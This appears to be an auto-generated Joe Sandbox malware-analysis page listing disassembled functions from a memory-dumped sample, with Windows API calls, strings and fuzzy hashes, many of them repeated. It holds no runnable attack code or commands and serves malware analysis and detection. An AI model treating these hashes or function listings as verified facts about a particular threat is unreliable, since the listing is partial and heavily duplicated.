Function 00401D30 Relevance: 6.0, APIs: 4, Instructions: 26synchronizationCOMMON

Download Yara Rule

APIs

SetEvent.KERNEL32(00000000,?,0041B216), ref: 00401D42
WaitForSingleObject.KERNEL32(00000000,000000FF,?,0041B216), ref: 00401D5A
CloseHandle.KERNEL32(00000000,?,0041B216), ref: 00401D67
CloseHandle.KERNEL32(00000000,?,0041B216), ref: 00401D86

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: CloseHandle$EventObjectSingleWait
String ID:
API String ID: 2857295742-0
Opcode ID: 6e7cc05a8cda0db58e92ddaf54c66cadca2345e9018e9e25514fedb7098af0ba
Instruction ID: 3d4b92e9f7d9e187abc8dbd28d967ac171c3d23a701c0c2849337b9b7c399b94
Opcode Fuzzy Hash: 6e7cc05a8cda0db58e92ddaf54c66cadca2345e9018e9e25514fedb7098af0ba
Instruction Fuzzy Hash: CAF0B270401202ABE3349B64ED4CB5A37A8A704305F444DBFA921563F0C7FAA8E8CB4A

Function 00427D57 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0042880B: DecodePointer.KERNEL32(0043A280,00000008,00428371,E06D7363,1FFFFFFF,19930522,?,00422D7E,?,?,?,?,?,00000000,00000000,00000000), ref: 0042881D

Part of subcall function 004287BF: __getptd.LIBCMT ref: 004287CB
Part of subcall function 004287BF: _abort.LIBCMT ref: 004287ED

___TypeMatch.LIBCMT ref: 00427D9E

Strings

csm, xrefs: 00427DBB
bad exception, xrefs: 00427D7D

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: DecodeMatchPointerType__getptd_abort
String ID: bad exception$csm
API String ID: 284225101-1249633139
Opcode ID: 92bc1c44c4de3b463a6c1f9d5812b76e4e7820b651e0379252b7b58b8e7a9656
Instruction ID: de7b7d589ad9e13ea97c83abdcc0297ba40495855eef0f024cb3232a4e05f0d6
Opcode Fuzzy Hash: 92bc1c44c4de3b463a6c1f9d5812b76e4e7820b651e0379252b7b58b8e7a9656
Instruction Fuzzy Hash: DD018071A18225AFCB00DFA9E481AADBBB4EF14318BA5809AEC04D7302D334E945CB65

Function 00427F3C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00422FFD: __getptd.LIBCMT ref: 00423003
Part of subcall function 00422FFD: __getptd.LIBCMT ref: 00423013

__getptd.LIBCMT ref: 00427F4B

Part of subcall function 00427226: __getptd_noexit.LIBCMT ref: 00427229
Part of subcall function 00427226: __amsg_exit.LIBCMT ref: 00427236

__getptd.LIBCMT ref: 00427F59

Strings

csm, xrefs: 00427F67

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: __getptd$__amsg_exit__getptd_noexit
String ID: csm
API String ID: 803148776-1018135373
Opcode ID: 5c443a9d9b19a247ee8dbf8117a28a8414b0931ffe4741bb9621b76847c4e908
Instruction ID: a1d3ccdd8264e751c16a56264205b8f6104e72c861b6de200c2dff32f35691e3
Opcode Fuzzy Hash: 5c443a9d9b19a247ee8dbf8117a28a8414b0931ffe4741bb9621b76847c4e908
Instruction Fuzzy Hash: 4A018F35A0C2209BCF349F62F640A6EB3B4BF18310FE5541FE44096791CB398980DF68

Function 00412150 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 23memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(EW@)C), ref: 00412166

Strings

)C, xrefs: 0041215C, 0041216C, 00412172, 0041218B
EW@)C, xrefs: 00412162, 00412165

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: AllocString
String ID: EW@)C$)C
API String ID: 2525500382-2756148068
Opcode ID: b82b20351cab9e7fc0e40cfe4ad20a3a7a42ecee45e1d4151f45c5ea82e19ef7
Instruction ID: 3e5f477a84a5eb0205d0f16b620504277e43cfcbc0eb6d6778712d441a101d4a
Opcode Fuzzy Hash: b82b20351cab9e7fc0e40cfe4ad20a3a7a42ecee45e1d4151f45c5ea82e19ef7
Instruction Fuzzy Hash: B1F0A574900208FBCB04CF94D684B9AB7B5EB59304F6082AEE908A7341D7B59E91DB99

Function 0041C0D0 Relevance: 5.0, APIs: 4, Instructions: 49memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00005004,?,0040162E,0043C008,00000000), ref: 0041C0DD
LocalAlloc.KERNEL32(00000040,00000000,?,?,0040162E), ref: 0041C107
LocalFree.KERNEL32(00000000), ref: 0041C144
LocalFree.KERNEL32(00000000,?,?,0040162E), ref: 0041C14E

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: Local$AllocFree
String ID:
API String ID: 2012307162-0
Opcode ID: 7cf0c4b509daf545439700c30916b7f2dca9126131966ecde096ae690f963108
Instruction ID: b8d8baa41aae3b21d46ac8d22ca40c5c65a4705c0a07807c296a7a0deff62b53
Opcode Fuzzy Hash: 7cf0c4b509daf545439700c30916b7f2dca9126131966ecde096ae690f963108
Instruction Fuzzy Hash: 47115EB5D40208FFDB04DFA4DD89B9EB7B4EB08304F108469E615A7381D378AA84CF98

Function 020FC337 Relevance: 5.0, APIs: 4, Instructions: 49memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00005004,?,?,020E68A8,00000000), ref: 020FC344
LocalAlloc.KERNEL32(00000040,00000000), ref: 020FC36E
LocalFree.KERNEL32(00000000), ref: 020FC3AB
LocalFree.KERNEL32(00000000), ref: 020FC3B5

Memory Dump Source

Source File: 0000000C.00000002.2586433701.00000000020E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_20e0000_stub4141_2024-10-16_10-48.jbxd

Yara matches

Similarity

API ID: Local$AllocFree
String ID:
API String ID: 2012307162-0
Opcode ID: 7cf0c4b509daf545439700c30916b7f2dca9126131966ecde096ae690f963108
Instruction ID: 7a7a1f875cf2c3e49bc66c90ed485a03c498e42cee332e0c08d53d81711b78b8
Opcode Fuzzy Hash: 7cf0c4b509daf545439700c30916b7f2dca9126131966ecde096ae690f963108
Instruction Fuzzy Hash: 11113CB4D40208EFDB44DFA4C889B9EB7B4EF48305F108569EA15A7280D778AA44DF94

Function 00418C66 Relevance: 5.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

LocalFree.KERNEL32(00000000), ref: 00418E30
LocalFree.KERNEL32(00000000), ref: 00418E3A
CloseHandle.KERNEL32(00000000), ref: 00418E46
LocalFree.KERNEL32(00000000), ref: 00418E50

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: FreeLocal$CloseHandle
String ID:
API String ID: 2045616094-0
Opcode ID: 4aebd22b8a866fbf240773d682dfef7661dc2faa458de696c9386f00f5b1b693
Instruction ID: 85dda654f1d1f8dece6960691c4900193e856fbd0ae59629766defe6fe40bb66
Opcode Fuzzy Hash: 4aebd22b8a866fbf240773d682dfef7661dc2faa458de696c9386f00f5b1b693
Instruction Fuzzy Hash: F601A475A00208EFCB54DFA0D98899EB7B5FF89301F104999F906A7310CB349D81CF65

Function 00418C30 Relevance: 5.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

LocalFree.KERNEL32(00000000), ref: 00418E30
LocalFree.KERNEL32(00000000), ref: 00418E3A
CloseHandle.KERNEL32(00000000), ref: 00418E46
LocalFree.KERNEL32(00000000), ref: 00418E50

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: FreeLocal$CloseHandle
String ID:
API String ID: 2045616094-0
Opcode ID: 486659bb087d0eda6a798a3f8ea4228ddffbe9b1b851f4994de9903a71b3625f
Instruction ID: 85dda654f1d1f8dece6960691c4900193e856fbd0ae59629766defe6fe40bb66
Opcode Fuzzy Hash: 486659bb087d0eda6a798a3f8ea4228ddffbe9b1b851f4994de9903a71b3625f
Instruction Fuzzy Hash: F601A475A00208EFCB54DFA0D98899EB7B5FF89301F104999F906A7310CB349D81CF65

Function 00418C9F Relevance: 5.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

LocalFree.KERNEL32(00000000), ref: 00418E30
LocalFree.KERNEL32(00000000), ref: 00418E3A
CloseHandle.KERNEL32(00000000), ref: 00418E46
LocalFree.KERNEL32(00000000), ref: 00418E50

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: FreeLocal$CloseHandle
String ID:
API String ID: 2045616094-0
Opcode ID: 9ba53c84fd5185604b0e8442c033b634983fa54e8bc19457289b2d115a95b196
Instruction ID: 85dda654f1d1f8dece6960691c4900193e856fbd0ae59629766defe6fe40bb66
Opcode Fuzzy Hash: 9ba53c84fd5185604b0e8442c033b634983fa54e8bc19457289b2d115a95b196
Instruction Fuzzy Hash: F601A475A00208EFCB54DFA0D98899EB7B5FF89301F104999F906A7310CB349D81CF65

Function 0041A9D1 Relevance: 5.0, APIs: 4, Instructions: 30COMMON

Download Yara Rule

APIs

LocalFree.KERNEL32(00000000), ref: 0041AC68
CloseHandle.KERNEL32(00000000), ref: 0041AC7D
CloseHandle.KERNEL32(00000000), ref: 0041AC9D
CloseHandle.KERNEL32(00000000), ref: 0041ACBD

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: CloseHandle$FreeLocal
String ID:
API String ID: 2513001865-0
Opcode ID: 22d9405c1947200265c2f5a794ad4d48187de842e394e186a7ad508d242e25dc
Instruction ID: 1bb935e0988207be18f166395d309870132ad3b1b1e2807b1ffcab1c4413104f
Opcode Fuzzy Hash: 22d9405c1947200265c2f5a794ad4d48187de842e394e186a7ad508d242e25dc
Instruction Fuzzy Hash: FFF014751001008FD7188F65FD8CBAA33B0B344301F10C83EAA01422A0D7B9489EDFA9

Function 0041A9F7 Relevance: 5.0, APIs: 4, Instructions: 30COMMON

Download Yara Rule

APIs

LocalFree.KERNEL32(00000000), ref: 0041AC68
CloseHandle.KERNEL32(00000000), ref: 0041AC7D
CloseHandle.KERNEL32(00000000), ref: 0041AC9D
CloseHandle.KERNEL32(00000000), ref: 0041ACBD

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: CloseHandle$FreeLocal
String ID:
API String ID: 2513001865-0
Opcode ID: b57c57c511688b61b76722109576231e7bad5a45b054b4aaf6758ba91ec682a2
Instruction ID: 1bb935e0988207be18f166395d309870132ad3b1b1e2807b1ffcab1c4413104f
Opcode Fuzzy Hash: b57c57c511688b61b76722109576231e7bad5a45b054b4aaf6758ba91ec682a2
Instruction Fuzzy Hash: FFF014751001008FD7188F65FD8CBAA33B0B344301F10C83EAA01422A0D7B9489EDFA9

Function 0041A9AD Relevance: 5.0, APIs: 4, Instructions: 30COMMON

Download Yara Rule

APIs

LocalFree.KERNEL32(00000000), ref: 0041AC68
CloseHandle.KERNEL32(00000000), ref: 0041AC7D
CloseHandle.KERNEL32(00000000), ref: 0041AC9D
CloseHandle.KERNEL32(00000000), ref: 0041ACBD

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: CloseHandle$FreeLocal
String ID:
API String ID: 2513001865-0
Opcode ID: f380c3cb5a7a919bf7c6887586ae9a84f45ae59901b3e7e46738c6706d3d7b10
Instruction ID: 1bb935e0988207be18f166395d309870132ad3b1b1e2807b1ffcab1c4413104f
Opcode Fuzzy Hash: f380c3cb5a7a919bf7c6887586ae9a84f45ae59901b3e7e46738c6706d3d7b10
Instruction Fuzzy Hash: FFF014751001008FD7188F65FD8CBAA33B0B344301F10C83EAA01422A0D7B9489EDFA9

Function 00419254 Relevance: 5.0, APIs: 4, Instructions: 27COMMON

Download Yara Rule

APIs

LocalFree.KERNEL32(00000000), ref: 004192F0
LocalFree.KERNEL32(00000000), ref: 004192FA
CloseHandle.KERNEL32(00000000), ref: 00419306
LocalFree.KERNEL32(00000000), ref: 00419310

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: FreeLocal$CloseHandle
String ID:
API String ID: 2045616094-0
Opcode ID: ea0a1ddd8203c5be4d895fc35167fa7b4b58446f4f1b257627724c92d482f6a9
Instruction ID: ee4c44b093685d2f42cbc3a72f74da29a0df5b1aba94de9608c0c22f5d766e4c
Opcode Fuzzy Hash: ea0a1ddd8203c5be4d895fc35167fa7b4b58446f4f1b257627724c92d482f6a9
Instruction Fuzzy Hash: 92F05F79A00218AFCB54DBE0DC8C9AEB779FF89301B144999F90697324CB359984CF65

Function 00403045 Relevance: 5.0, APIs: 4, Instructions: 25COMMON

Download Yara Rule

APIs

LocalFree.KERNEL32(00000000), ref: 0040315D
LocalFree.KERNEL32(00000000), ref: 00403172
CloseHandle.KERNEL32(00000000), ref: 00403182
CloseHandle.KERNEL32(00000000), ref: 00403192

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: CloseFreeHandleLocal
String ID:
API String ID: 836400252-0
Opcode ID: 4893e00a8415f3a8512f96bcecda7dd8a986f612ae40bc7c29a326bc4cbc6071
Instruction ID: 8968190392a3dd237edfa444b85a605647e1f5951998bd265e2539d56d789e39
Opcode Fuzzy Hash: 4893e00a8415f3a8512f96bcecda7dd8a986f612ae40bc7c29a326bc4cbc6071
Instruction Fuzzy Hash: 0EF0B235900108EFC7148FA4EC4CB6E77B9F749302F848D3EA4016A5B4C7789985DB8C

Function 004030CC Relevance: 5.0, APIs: 4, Instructions: 25COMMON

Download Yara Rule

APIs

LocalFree.KERNEL32(00000000), ref: 0040315D
LocalFree.KERNEL32(00000000), ref: 00403172
CloseHandle.KERNEL32(00000000), ref: 00403182
CloseHandle.KERNEL32(00000000), ref: 00403192

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: CloseFreeHandleLocal
String ID:
API String ID: 836400252-0
Opcode ID: 1cc33674b041401249191409a24890eabb2b2afe33b8cabf0a9957af081e3bab
Instruction ID: 8968190392a3dd237edfa444b85a605647e1f5951998bd265e2539d56d789e39
Opcode Fuzzy Hash: 1cc33674b041401249191409a24890eabb2b2afe33b8cabf0a9957af081e3bab
Instruction Fuzzy Hash: 0EF0B235900108EFC7148FA4EC4CB6E77B9F749302F848D3EA4016A5B4C7789985DB8C

Function 004030F3 Relevance: 5.0, APIs: 4, Instructions: 25COMMON

Download Yara Rule

APIs

LocalFree.KERNEL32(00000000), ref: 0040315D
LocalFree.KERNEL32(00000000), ref: 00403172
CloseHandle.KERNEL32(00000000), ref: 00403182
CloseHandle.KERNEL32(00000000), ref: 00403192

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: CloseFreeHandleLocal
String ID:
API String ID: 836400252-0
Opcode ID: c57726ad950d320b29a64ac756ff88ba81a3d81b80338233e257be92d0cc95dc
Instruction ID: 8968190392a3dd237edfa444b85a605647e1f5951998bd265e2539d56d789e39
Opcode Fuzzy Hash: c57726ad950d320b29a64ac756ff88ba81a3d81b80338233e257be92d0cc95dc
Instruction Fuzzy Hash: 0EF0B235900108EFC7148FA4EC4CB6E77B9F749302F848D3EA4016A5B4C7789985DB8C

Function 00403091 Relevance: 5.0, APIs: 4, Instructions: 25COMMON

Download Yara Rule

APIs

LocalFree.KERNEL32(00000000), ref: 0040315D
LocalFree.KERNEL32(00000000), ref: 00403172
CloseHandle.KERNEL32(00000000), ref: 00403182
CloseHandle.KERNEL32(00000000), ref: 00403192

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: CloseFreeHandleLocal
String ID:
API String ID: 836400252-0
Opcode ID: b88df5224029b324f3e6405b891f5eeb7b7fa4be3cd6a7a1325879fd0b73d48b
Instruction ID: 8968190392a3dd237edfa444b85a605647e1f5951998bd265e2539d56d789e39
Opcode Fuzzy Hash: b88df5224029b324f3e6405b891f5eeb7b7fa4be3cd6a7a1325879fd0b73d48b
Instruction Fuzzy Hash: 0EF0B235900108EFC7148FA4EC4CB6E77B9F749302F848D3EA4016A5B4C7789985DB8C

Function 004030B0 Relevance: 5.0, APIs: 4, Instructions: 25COMMON

Download Yara Rule

APIs

LocalFree.KERNEL32(00000000), ref: 0040315D
LocalFree.KERNEL32(00000000), ref: 00403172
CloseHandle.KERNEL32(00000000), ref: 00403182
CloseHandle.KERNEL32(00000000), ref: 00403192

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: CloseFreeHandleLocal
String ID:
API String ID: 836400252-0
Opcode ID: b04c9bc6a2283bc3baae824483493202562117e538909078ca9630fb78bc881d
Instruction ID: 8968190392a3dd237edfa444b85a605647e1f5951998bd265e2539d56d789e39
Opcode Fuzzy Hash: b04c9bc6a2283bc3baae824483493202562117e538909078ca9630fb78bc881d
Instruction Fuzzy Hash: 0EF0B235900108EFC7148FA4EC4CB6E77B9F749302F848D3EA4016A5B4C7789985DB8C

Function 00402BE9 Relevance: 5.0, APIs: 4, Instructions: 25COMMON

Download Yara Rule

APIs

LocalFree.KERNEL32(00000000), ref: 0040315D
LocalFree.KERNEL32(00000000), ref: 00403172
CloseHandle.KERNEL32(00000000), ref: 00403182
CloseHandle.KERNEL32(00000000), ref: 00403192

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: CloseFreeHandleLocal
String ID:
API String ID: 836400252-0
Opcode ID: 486d75cf236f46f01b5cae3cdcbb0899111beea778172062af22baf749fe18a0
Instruction ID: 8968190392a3dd237edfa444b85a605647e1f5951998bd265e2539d56d789e39
Opcode Fuzzy Hash: 486d75cf236f46f01b5cae3cdcbb0899111beea778172062af22baf749fe18a0
Instruction Fuzzy Hash: 0EF0B235900108EFC7148FA4EC4CB6E77B9F749302F848D3EA4016A5B4C7789985DB8C

Function 00402E4A Relevance: 5.0, APIs: 4, Instructions: 25COMMON

Download Yara Rule

APIs

LocalFree.KERNEL32(00000000), ref: 0040315D
LocalFree.KERNEL32(00000000), ref: 00403172
CloseHandle.KERNEL32(00000000), ref: 00403182
CloseHandle.KERNEL32(00000000), ref: 00403192

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: CloseFreeHandleLocal
String ID:
API String ID: 836400252-0
Opcode ID: 486d75cf236f46f01b5cae3cdcbb0899111beea778172062af22baf749fe18a0
Instruction ID: 8968190392a3dd237edfa444b85a605647e1f5951998bd265e2539d56d789e39
Opcode Fuzzy Hash: 486d75cf236f46f01b5cae3cdcbb0899111beea778172062af22baf749fe18a0
Instruction Fuzzy Hash: 0EF0B235900108EFC7148FA4EC4CB6E77B9F749302F848D3EA4016A5B4C7789985DB8C

Function 00402E67 Relevance: 5.0, APIs: 4, Instructions: 25COMMON

Download Yara Rule

APIs

LocalFree.KERNEL32(00000000), ref: 0040315D
LocalFree.KERNEL32(00000000), ref: 00403172
CloseHandle.KERNEL32(00000000), ref: 00403182
CloseHandle.KERNEL32(00000000), ref: 00403192

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: CloseFreeHandleLocal
String ID:
API String ID: 836400252-0
Opcode ID: 486d75cf236f46f01b5cae3cdcbb0899111beea778172062af22baf749fe18a0
Instruction ID: 8968190392a3dd237edfa444b85a605647e1f5951998bd265e2539d56d789e39
Opcode Fuzzy Hash: 486d75cf236f46f01b5cae3cdcbb0899111beea778172062af22baf749fe18a0
Instruction Fuzzy Hash: 0EF0B235900108EFC7148FA4EC4CB6E77B9F749302F848D3EA4016A5B4C7789985DB8C

Function 00402F1F Relevance: 5.0, APIs: 4, Instructions: 25COMMON

Download Yara Rule

APIs

LocalFree.KERNEL32(00000000), ref: 0040315D
LocalFree.KERNEL32(00000000), ref: 00403172
CloseHandle.KERNEL32(00000000), ref: 00403182
CloseHandle.KERNEL32(00000000), ref: 00403192

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: CloseFreeHandleLocal
String ID:
API String ID: 836400252-0
Opcode ID: dd335f3f1a5d5c002adc63538687c2f749a941a902c87a7aff2b3c8c9bdf0d89
Instruction ID: 8968190392a3dd237edfa444b85a605647e1f5951998bd265e2539d56d789e39
Opcode Fuzzy Hash: dd335f3f1a5d5c002adc63538687c2f749a941a902c87a7aff2b3c8c9bdf0d89
Instruction Fuzzy Hash: 0EF0B235900108EFC7148FA4EC4CB6E77B9F749302F848D3EA4016A5B4C7789985DB8C

Function 00402FC4 Relevance: 5.0, APIs: 4, Instructions: 25COMMON

Download Yara Rule

APIs

LocalFree.KERNEL32(00000000), ref: 0040315D
LocalFree.KERNEL32(00000000), ref: 00403172
CloseHandle.KERNEL32(00000000), ref: 00403182
CloseHandle.KERNEL32(00000000), ref: 00403192

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: CloseFreeHandleLocal
String ID:
API String ID: 836400252-0
